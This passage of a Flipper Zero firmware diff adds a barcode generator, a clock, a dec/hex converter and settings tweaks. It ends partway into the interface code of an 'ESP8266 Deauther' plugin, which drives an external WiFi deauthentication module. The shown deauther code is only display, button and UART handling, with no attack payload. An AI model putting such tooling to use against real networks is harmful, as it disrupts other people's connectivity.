static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void barcode_UPCA_generator_state_init(PluginState* const plugin_state) {
int i;
for(i = 0; i < 12; ++i) {
if(i > 9) {
plugin_state->barcodeNumeral[i] = i - 10;
} else if(i < 10) {
plugin_state->barcodeNumeral[i] = i;
}
}
plugin_state->editingIndex = 0;
plugin_state->modeIndex = 0;
plugin_state->doParityCalculation = true;
plugin_state->menuIndex = 0;
}
int32_t barcode_UPCA_generator_app(void* p) {
UNUSED(p);
//testing
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
barcode_UPCA_generator_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("barcode_UPCA_generator", "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
int barcodeMaxIndex;
if(plugin_state->doParityCalculation == true) {
barcodeMaxIndex = 11;
}
if(plugin_state->doParityCalculation == false) {
barcodeMaxIndex = 12;
}
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat)) {
switch(event.input.key) {
case InputKeyUp:
if(plugin_state->modeIndex == 1) { //if edit mode
plugin_state->barcodeNumeral[plugin_state->editingIndex]++;
}
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] > 9) {
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 0;
}
if(plugin_state->modeIndex == 2) { //if menu mode
plugin_state->menuIndex--;
}
if(plugin_state->menuIndex < 0) {
plugin_state->menuIndex = 3;
}
break;
case InputKeyDown:
if(plugin_state->modeIndex == 1) {
plugin_state->barcodeNumeral[plugin_state->editingIndex]--;
}
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] < 0) {
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 9;
}
if(plugin_state->modeIndex == 2) { //if menu mode
plugin_state->menuIndex++;
}
if(plugin_state->menuIndex > 3) {
plugin_state->menuIndex = 0;
}
break;
case InputKeyRight:
if(plugin_state->modeIndex == 1) {
plugin_state->editingIndex++;
}
if(plugin_state->editingIndex >= barcodeMaxIndex) {
plugin_state->editingIndex = 0;
}
break;
case InputKeyLeft:
if(plugin_state->modeIndex == 1) {
plugin_state->editingIndex--;
}
if(plugin_state->editingIndex < 0) {
plugin_state->editingIndex = barcodeMaxIndex - 1;
}
break;
case InputKeyOk:
if((plugin_state->modeIndex == 0) ||
(plugin_state->modeIndex == 1)) { //if normal or edit more, open menu
plugin_state->modeIndex = 2;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
1)) { //if hits select in menu, while index is 1. edit mode
plugin_state->modeIndex = 1;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
0)) { //if hits select in menu, while index is 0. view mode
plugin_state->modeIndex = 0;
break;
} else if(
(plugin_state->modeIndex == 2) &&
(plugin_state->menuIndex ==
2)) { //if hits select in menu, while index is 2. Parity switch
plugin_state->doParityCalculation =
!plugin_state->doParityCalculation; //invert bool
break;
} else {
break;
}
case InputKeyBack:
if(plugin_state->modeIndex == 0) {
processing = false;
}
if(plugin_state->modeIndex == 2) {
plugin_state->modeIndex = 0;
}
break;
}
}
}
} else {
FURI_LOG_D("barcode_UPCA_generator", "osMessageQueue: event timeout");
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -0,0 +1,11 @@
App(
appid="clock",
name="Clock",
apptype=FlipperAppType.APP,
entry_point="clock_app",
cdefines=["APP_CLOCK"],
requires=["gui"],
icon="A_Clock_14",
stack_size=2 * 1024,
order=9,
)

View file

@ -0,0 +1,145 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/elements.h>
#include <gui/gui.h>
#include <input/input.h>
#define TAG "Clock"
#define CLOCK_DATE_FORMAT "%.4d-%.2d-%.2d"
#define CLOCK_TIME_FORMAT "%.2d:%.2d:%.2d"
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
FuriHalRtcDateTime datetime;
} ClockState;
static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void clock_render_callback(Canvas* const canvas, void* ctx) {
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25);
char strings[2][20];
snprintf(
strings[0],
sizeof(strings[0]),
CLOCK_DATE_FORMAT,
state->datetime.year,
state->datetime.month,
state->datetime.day);
snprintf(
strings[1],
sizeof(strings[1]),
CLOCK_TIME_FORMAT,
state->datetime.hour,
state->datetime.minute,
state->datetime.second);
release_mutex((ValueMutex*)ctx, state);
canvas_set_font(canvas, FontBigNumbers);
canvas_draw_str_aligned(canvas, 64, 42 - 16, AlignCenter, AlignCenter, strings[1]);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(canvas, 64, 52 - 8, AlignCenter, AlignTop, strings[0]);
}
static void clock_state_init(ClockState* const state) {
furi_hal_rtc_get_datetime(&state->datetime);
}
// Runs every 1000ms by default
static void clock_tick(void* ctx) {
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
PluginEvent event = {.type = EventTypeTick};
// It's OK to loose this event if system overloaded
furi_message_queue_put(event_queue, &event, 0);
}
int32_t clock_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
ClockState* plugin_state = malloc(sizeof(ClockState));
clock_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) {
FURI_LOG_E(TAG, "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex);
view_port_input_callback_set(view_port, clock_input_callback, event_queue);
FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, event_queue);
furi_timer_start(timer, furi_kernel_get_tick_frequency());
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
// Main loop
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) {
switch(event.input.key) {
case InputKeyUp:
case InputKeyDown:
case InputKeyRight:
case InputKeyLeft:
case InputKeyOk:
break;
case InputKeyBack:
// Exit the plugin
processing = false;
break;
}
}
} else if(event.type == EventTypeTick) {
furi_hal_rtc_get_datetime(&plugin_state->datetime);
}
} else {
FURI_LOG_D(TAG, "furi_message_queue: event timeout");
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_timer_free(timer);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
return 0;
}

View file

@ -0,0 +1,10 @@
App(
appid="dec_hex_converter",
name="Dec/Hex Converter",
apptype=FlipperAppType.PLUGIN,
entry_point="dec_hex_converter_app",
cdefines=["APP_DEC_HEX_CONVERTER"],
requires=["gui"],
stack_size=1 * 1024,
order=19,
)

View file

@ -0,0 +1,404 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#define DEC_HEX_CONVERTER_NUMBER_DIGITS 9
#define DEC_HEX_CONVERTER_KEYS 18
#define DEC_HEX_CONVERTER_KEY_DEL 16
// #define DEC_HEX_CONVERTER_KEY_SWAP 17 // actually not used...
#define DEC_HEX_CONVERTER_CHAR_DEL '<'
#define DEC_HEX_CONVERTER_CHAR_SWAP 's'
#define DEC_HEX_CONVERTER_CHAR_MODE '#'
#define DEC_HEX_CONVERTER_CHAR_OVERFLOW '#'
#define DEC_HEX_CONVERTER_KEY_FRAME_MARGIN 3
#define DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT 8
#define DEC_HEX_MAX_SUPORTED_DEC_INT 999999999
typedef enum {
EventTypeKey,
} EventType;
typedef struct {
InputEvent input;
EventType type;
} DecHexConverterEvent;
typedef enum {
ModeDec,
ModeHex,
} Mode;
// setting up one char array next to the other one causes the canvas_draw_str to display both of them
// when addressing the first one if there's no string terminator or similar indicator. Adding a \0 seems
// to work fine to prevent that, so add a final last char outside the size constants (added on init
// and NEVER changed nor referenced again)
//
// (as a reference, canvas_draw_str ends up calling u8g2_DrawStr from u8g2_font.c,
// that finally ends up calling u8g2_draw_string)
typedef struct {
char dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1];
char hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1];
Mode mode; // dec / hex
int8_t cursor; // position on keyboard (includes digit letters and other options)
int8_t digit_pos; // current digit on selected mode
} DecHexConverterState;
// move cursor left / right (TODO: implement menu nav in a more "standard" and reusable way?)
void dec_hex_converter_logic_move_cursor_lr(
DecHexConverterState* const dec_hex_converter_state,
int8_t d) {
dec_hex_converter_state->cursor += d;
if(dec_hex_converter_state->cursor > DEC_HEX_CONVERTER_KEYS - 1)
dec_hex_converter_state->cursor = 0;
else if(dec_hex_converter_state->cursor < 0)
dec_hex_converter_state->cursor = DEC_HEX_CONVERTER_KEYS - 1;
// if we're moving left / right to the letters keys on ModeDec just go to the closest available key
if(dec_hex_converter_state->mode == ModeDec) {
if(dec_hex_converter_state->cursor == 10)
dec_hex_converter_state->cursor = 16;
else if(dec_hex_converter_state->cursor == 15)
dec_hex_converter_state->cursor = 9;
}
}
// move cursor up / down; there're two lines, so we basically toggle
void dec_hex_converter_logic_move_cursor_ud(DecHexConverterState* const dec_hex_converter_state) {
if(dec_hex_converter_state->cursor < 9) {
// move to second line ("down")
dec_hex_converter_state->cursor += 9;
// if we're reaching the letter keys while ModeDec, just move left / right for the first available key
if(dec_hex_converter_state->mode == ModeDec &&
(dec_hex_converter_state->cursor >= 10 && dec_hex_converter_state->cursor <= 15)) {
if(dec_hex_converter_state->cursor <= 12)
dec_hex_converter_state->cursor = 9;
else
dec_hex_converter_state->cursor = 16;
}
} else {
// move to first line ("up")
dec_hex_converter_state->cursor -= 9;
}
}
// fetch number from current mode and modifies the destination one, RM dnt stel pls
// (if destination is shorter than the output value, overried with "-" chars or something similar)
void dec_hex_converter_logic_convert_number(DecHexConverterState* const dec_hex_converter_state) {
char* s_ptr;
char* d_ptr;
char dest[DEC_HEX_CONVERTER_NUMBER_DIGITS];
int i = 0; // current index on destination array
if(dec_hex_converter_state->mode == ModeDec) {
// DEC to HEX cannot overflow if they're, at least, the same size
s_ptr = dec_hex_converter_state->dec_number;
d_ptr = dec_hex_converter_state->hex_number;
int a = atoi(s_ptr);
int r;
while(a != 0) {
r = a % 16;
dest[i] = r + (r < 10 ? '0' : ('A' - 10));
a /= 16;
i++;
}
} else {
s_ptr = dec_hex_converter_state->hex_number;
d_ptr = dec_hex_converter_state->dec_number;
int a = strtol(s_ptr, NULL, 16);
if(a > DEC_HEX_MAX_SUPORTED_DEC_INT) {
// draw all "###" if there's an overflow
for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) {
d_ptr[j] = DEC_HEX_CONVERTER_CHAR_OVERFLOW;
}
return;
} else {
while(a > 0) {
dest[i++] = (a % 10) + '0';
a /= 10;
}
}
}
// dest is reversed, copy to destination pointer and append empty chars at the end
for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) {
if(i >= 1)
d_ptr[j] = dest[--i];
else
d_ptr[j] = ' ';
}
}
// change from DEC to HEX or HEX to DEC, set the digit_pos to the last position not empty on the destination mode
void dec_hex_converter_logic_swap_mode(DecHexConverterState* const dec_hex_converter_state) {
char* n_ptr;
if(dec_hex_converter_state->mode == ModeDec) {
dec_hex_converter_state->mode = ModeHex;
n_ptr = dec_hex_converter_state->hex_number;
} else {
dec_hex_converter_state->mode = ModeDec;
n_ptr = dec_hex_converter_state->dec_number;
}
dec_hex_converter_state->digit_pos = DEC_HEX_CONVERTER_NUMBER_DIGITS;
for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) {
if(n_ptr[i] == ' ') {
dec_hex_converter_state->digit_pos = i;
break;
}
}
}
// removes the number on current digit on current mode
static void
dec_hex_converter_logic_del_number(DecHexConverterState* const dec_hex_converter_state) {
if(dec_hex_converter_state->digit_pos > 0) dec_hex_converter_state->digit_pos--;
if(dec_hex_converter_state->mode == ModeDec) {
dec_hex_converter_state->dec_number[dec_hex_converter_state->digit_pos] = ' ';
} else {
dec_hex_converter_state->hex_number[dec_hex_converter_state->digit_pos] = ' ';
}
}
// append a number to the digit on the current mode
static void dec_hex_converter_logic_add_number(
DecHexConverterState* const dec_hex_converter_state,
int8_t number) {
// ignore HEX values on DEC mode (probably button nav will be disabled too, so cannot reach);
// also do not add anything if we're out of bound
if((number > 9 && dec_hex_converter_state->mode == ModeDec) ||
dec_hex_converter_state->digit_pos >= DEC_HEX_CONVERTER_NUMBER_DIGITS)
return;
char* s_ptr;
if(dec_hex_converter_state->mode == ModeDec) {
s_ptr = dec_hex_converter_state->dec_number;
} else {
s_ptr = dec_hex_converter_state->hex_number;
}
if(number < 10) {
s_ptr[dec_hex_converter_state->digit_pos] = number + '0';
} else {
s_ptr[dec_hex_converter_state->digit_pos] = (number - 10) + 'A'; // A-F (HEX only)
}
dec_hex_converter_state->digit_pos++;
}
// ---------------
static void dec_hex_converter_render_callback(Canvas* const canvas, void* ctx) {
const DecHexConverterState* dec_hex_converter_state = acquire_mutex((ValueMutex*)ctx, 25);
if(dec_hex_converter_state == NULL) {
return;
}
canvas_set_color(canvas, ColorBlack);
// DEC
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2, 10, "DEC: ");
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2 + 30, 10, dec_hex_converter_state->dec_number);
// HEX
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2, 10 + 12, "HEX: ");
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 2 + 30, 10 + 12, dec_hex_converter_state->hex_number);
// current mode indicator
// char buffer[4];
// snprintf(buffer, sizeof(buffer), "%u", dec_hex_converter_state->digit_pos); // debug: show digit position instead of selected mode
if(dec_hex_converter_state->mode == ModeDec) {
canvas_draw_glyph(canvas, 128 - 10, 10, DEC_HEX_CONVERTER_CHAR_MODE);
} else {
canvas_draw_glyph(canvas, 128 - 10, 10 + 12, DEC_HEX_CONVERTER_CHAR_MODE);
}
// draw the line
canvas_draw_line(canvas, 2, 25, 128 - 3, 25);
// draw the keyboard
uint8_t _x = 5;
uint8_t _y = 25 + 15; // line + 10
for(int i = 0; i < DEC_HEX_CONVERTER_KEYS; i++) {
char g;
if(i < 10)
g = (i + '0');
else if(i < 16)
g = ((i - 10) + 'A');
else if(i == 16)
g = DEC_HEX_CONVERTER_CHAR_DEL; // '<'
else
g = DEC_HEX_CONVERTER_CHAR_SWAP; // 's'
uint8_t g_w = canvas_glyph_width(canvas, g);
// disable letters on DEC mode (but keep the previous width for visual purposes - show "blank keys")
if(dec_hex_converter_state->mode == ModeDec && i > 9 && i < 16) g = ' ';
if(dec_hex_converter_state->cursor == i) {
canvas_draw_box(
canvas,
_x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
_y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN),
DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2);
canvas_set_color(canvas, ColorWhite);
canvas_draw_glyph(canvas, _x, _y, g);
canvas_set_color(canvas, ColorBlack);
} else {
canvas_draw_frame(
canvas,
_x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
_y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN),
DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2);
canvas_draw_glyph(canvas, _x, _y, g);
}
if(i < 8) {
_x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 2;
} else if(i == 8) {
_y += (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2) + 3;
_x = 7; // some padding at the beginning on second line
} else {
_x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 1;
}
}
release_mutex((ValueMutex*)ctx, dec_hex_converter_state);
}
static void
dec_hex_converter_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
DecHexConverterEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void dec_hex_converter_init(DecHexConverterState* const dec_hex_converter_state) {
dec_hex_converter_state->mode = ModeDec;
dec_hex_converter_state->digit_pos = 0;
dec_hex_converter_state->dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator
dec_hex_converter_state->hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator
for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) {
dec_hex_converter_state->dec_number[i] = ' ';
dec_hex_converter_state->hex_number[i] = ' ';
}
}
// main entry point
int32_t dec_hex_converter_app(void* p) {
UNUSED(p);
// get event queue
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(DecHexConverterEvent));
// allocate state
DecHexConverterState* dec_hex_converter_state = malloc(sizeof(DecHexConverterState));
// set mutex for plugin state (different threads can access it)
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, dec_hex_converter_state, sizeof(dec_hex_converter_state))) {
FURI_LOG_E("DecHexConverter", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(dec_hex_converter_state);
return 255;
}
// register callbacks for drawing and input processing
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, dec_hex_converter_render_callback, &state_mutex);
view_port_input_callback_set(view_port, dec_hex_converter_input_callback, event_queue);
// open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
dec_hex_converter_init(dec_hex_converter_state);
// main loop
DecHexConverterEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
DecHexConverterState* dec_hex_converter_state =
(DecHexConverterState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
default:
break;
case InputKeyUp:
case InputKeyDown:
dec_hex_converter_logic_move_cursor_ud(dec_hex_converter_state);
break;
case InputKeyRight:
dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, 1);
break;
case InputKeyLeft:
dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, -1);
break;
case InputKeyOk:
if(dec_hex_converter_state->cursor < DEC_HEX_CONVERTER_KEY_DEL) {
// positions from 0 to 15 works as regular numbers (DEC / HEX where applicable)
// (logic won't allow add numbers > 9 on ModeDec)
dec_hex_converter_logic_add_number(
dec_hex_converter_state, dec_hex_converter_state->cursor);
} else if(dec_hex_converter_state->cursor == DEC_HEX_CONVERTER_KEY_DEL) {
// del
dec_hex_converter_logic_del_number(dec_hex_converter_state);
} else {
// swap
dec_hex_converter_logic_swap_mode(dec_hex_converter_state);
}
dec_hex_converter_logic_convert_number(dec_hex_converter_state);
break;
case InputKeyBack:
processing = false;
break;
}
}
}
} else {
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, dec_hex_converter_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
free(dec_hex_converter_state);
return 0;
}

View file

@ -9,18 +9,21 @@
#define SCENE_EVENT_SELECT_PIN_SETUP 2
#define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 3
#define AUTO_LOCK_DELAY_COUNT 6
#define AUTO_LOCK_DELAY_COUNT 9
const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = {
"OFF",
"10s",
"15s",
"30s",
"60s",
"90s",
"2min",
"5min",
"10min",
};
const uint32_t auto_lock_delay_value[AUTO_LOCK_DELAY_COUNT] =
{0, 30000, 60000, 120000, 300000, 600000};
{0, 10000, 15000, 30000, 60000, 90000, 120000, 300000, 600000};
static void desktop_settings_scene_start_var_list_enter_callback(void* context, uint32_t index) {
DesktopSettingsApp* app = context;

View file

@ -16,7 +16,7 @@ struct DesktopMainView {
TimerHandle_t poweroff_timer;
};
#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 5000
#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 3000
static void desktop_main_poweroff_timer_callback(TimerHandle_t timer) {
DesktopMainView* main_view = pvTimerGetTimerID(timer);

View file

@ -0,0 +1,7 @@
#define WIFI_MODULE_INIT_VERSION "WFDM_0.1"
#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION
#define FLIPPERZERO_SERIAL_BAUD 230400
#define NA 0

View file

@ -0,0 +1,10 @@
App(
appid="esp8266_deauth",
name="[ESP8266] Deauther",
apptype=FlipperAppType.PLUGIN,
entry_point="esp8266_deauth_app",
cdefines=["APP_ESP8266_deauth"],
requires=["gui"],
stack_size=2 * 1024,
order=100,
)

View file

@ -0,0 +1,536 @@
#include <furi.h>
#include <furi_hal_console.h>
#include <furi_hal_gpio.h>
#include <furi_hal_power.h>
#include <furi_hal_uart.h>
#include <gui/canvas_i.h>
#include <gui/gui.h>
#include <input/input.h>
//#include <m-string.h>
//#include <math.h>
//#include <notification/notification.h>
//#include <notification/notification_messages.h>
//#include <stdlib.h>
#include <stream_buffer.h>
#include <u8g2.h>
#include "FlipperZeroWiFiDeauthModuleDefines.h"
#define DEAUTH_APP_DEBUG 0
#if DEAUTH_APP_DEBUG
#define APP_NAME_TAG "WiFi_Scanner"
#define DEAUTH_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__)
#define DEAUTH_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__)
#define DEAUTH_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__)
#else
#define DEAUTH_APP_LOG_I(format, ...)
#define DEAUTH_APP_LOG_D(format, ...)
#define DEAUTH_APP_LOG_E(format, ...)
#endif // WIFI_APP_DEBUG
#define DISABLE_CONSOLE !DEAUTH_APP_DEBUG
#define ENABLE_MODULE_POWER 1
#define ENABLE_MODULE_DETECTION 1
typedef enum EEventType // app internally defined event types
{ EventTypeKey // flipper input.h type
} EEventType;
typedef struct SPluginEvent {
EEventType m_type;
InputEvent m_input;
} SPluginEvent;
typedef enum EAppContext {
Undefined,
WaitingForModule,
Initializing,
ModuleActive,
} EAppContext;
typedef enum EWorkerEventFlags {
WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event
WorkerEventStop = (1 << 1),
WorkerEventRx = (1 << 2),
} EWorkerEventFlags;
typedef struct SGpioButtons {
GpioPin const* pinButtonUp;
GpioPin const* pinButtonDown;
GpioPin const* pinButtonOK;
GpioPin const* pinButtonBack;
} SGpioButtons;
typedef struct SWiFiDeauthApp {
Gui* m_gui;
FuriThread* m_worker_thread;
//NotificationApp* m_notification;
StreamBufferHandle_t m_rx_stream;
SGpioButtons m_GpioButtons;
bool m_wifiDeauthModuleInitialized;
bool m_wifiDeauthModuleAttached;
EAppContext m_context;
uint8_t m_backBuffer[128 * 8 * 8];
//uint8_t m_renderBuffer[128 * 8 * 8];
uint8_t* m_backBufferPtr;
//uint8_t* m_m_renderBufferPtr;
//uint8_t* m_originalBuffer;
//uint8_t** m_originalBufferLocation;
size_t m_canvasSize;
bool m_needUpdateGUI;
} SWiFiDeauthApp;
/////// INIT STATE ///////
static void esp8266_deauth_app_init(SWiFiDeauthApp* const app) {
app->m_context = Undefined;
app->m_canvasSize = 128 * 8 * 8;
memset(app->m_backBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize);
//memset(app->m_renderBuffer, DEAUTH_APP_DEBUG ? 0xFF : 0x00, app->m_canvasSize);
//app->m_originalBuffer = NULL;
//app->m_originalBufferLocation = NULL;
//app->m_m_renderBufferPtr = app->m_renderBuffer;
app->m_backBufferPtr = app->m_backBuffer;
app->m_GpioButtons.pinButtonUp = &gpio_ext_pc3;
app->m_GpioButtons.pinButtonDown = &gpio_ext_pb2;
app->m_GpioButtons.pinButtonOK = &gpio_ext_pb3;
app->m_GpioButtons.pinButtonBack = &gpio_ext_pa4;
app->m_needUpdateGUI = false;
#if ENABLE_MODULE_POWER
app->m_wifiDeauthModuleInitialized = false;
#else
app->m_wifiDeauthModuleInitialized = true;
#endif // ENABLE_MODULE_POWER
#if ENABLE_MODULE_DETECTION
app->m_wifiDeauthModuleAttached = false;
#else
app->m_wifiDeauthModuleAttached = true;
#endif
}
static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ctx) {
SWiFiDeauthApp* app = acquire_mutex((ValueMutex*)ctx, 25);
if(app == NULL) {
return;
}
//if(app->m_needUpdateGUI)
//{
// app->m_needUpdateGUI = false;
// //app->m_canvasSize = canvas_get_buffer_size(canvas);
// //app->m_originalBuffer = canvas_get_buffer(canvas);
// //app->m_originalBufferLocation = &u8g2_GetBufferPtr(&canvas->fb);
// //u8g2_GetBufferPtr(&canvas->fb) = app->m_m_renderBufferPtr;
//}
//uint8_t* exchangeBuffers = app->m_m_renderBufferPtr;
//app->m_m_renderBufferPtr = app->m_backBufferPtr;
//app->m_backBufferPtr = exchangeBuffers;
//if(app->m_needUpdateGUI)
//{
// //memcpy(app->m_renderBuffer, app->m_backBuffer, app->m_canvasSize);
// app->m_needUpdateGUI = false;
//}
switch(app->m_context) {
case Undefined: {
canvas_clear(canvas);
canvas_set_font(canvas, FontPrimary);
const char* strInitializing = "Something wrong";
canvas_draw_str(
canvas,
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
(canvas_string_width(canvas, strInitializing) / 2),
(u8g2_GetDisplayHeight(&canvas->fb) /
2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/,
strInitializing);
} break;
case WaitingForModule:
#if ENABLE_MODULE_DETECTION
furi_assert(!app->m_wifiDeauthModuleAttached);
if(!app->m_wifiDeauthModuleAttached) {
canvas_clear(canvas);
canvas_set_font(canvas, FontSecondary);
const char* strInitializing = "Attach WiFi scanner module";
canvas_draw_str(
canvas,
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
(canvas_string_width(canvas, strInitializing) / 2),
(u8g2_GetDisplayHeight(&canvas->fb) /
2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/,
strInitializing);
}
#endif
break;
case Initializing:
#if ENABLE_MODULE_POWER
{
furi_assert(!app->m_wifiDeauthModuleInitialized);
if(!app->m_wifiDeauthModuleInitialized) {
canvas_set_font(canvas, FontPrimary);
const char* strInitializing = "Initializing...";
canvas_draw_str(
canvas,
(u8g2_GetDisplayWidth(&canvas->fb) / 2) -
(canvas_string_width(canvas, strInitializing) / 2),
(u8g2_GetDisplayHeight(&canvas->fb) / 2) -
(u8g2_GetMaxCharHeight(&canvas->fb) / 2),
strInitializing);
}
}
#endif // ENABLE_MODULE_POWER
break;
case ModuleActive: {
uint8_t* buffer = canvas_get_buffer(canvas);
app->m_canvasSize = canvas_get_buffer_size(canvas);
memcpy(buffer, app->m_backBuffer, app->m_canvasSize);
} break;
default:
break;
}
release_mutex((ValueMutex*)ctx, app);
}
static void
esp8266_deauth_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
furi_assert(context);
BaseType_t xHigherPriorityTaskWoken = pdFALSE;
SWiFiDeauthApp* app = context;
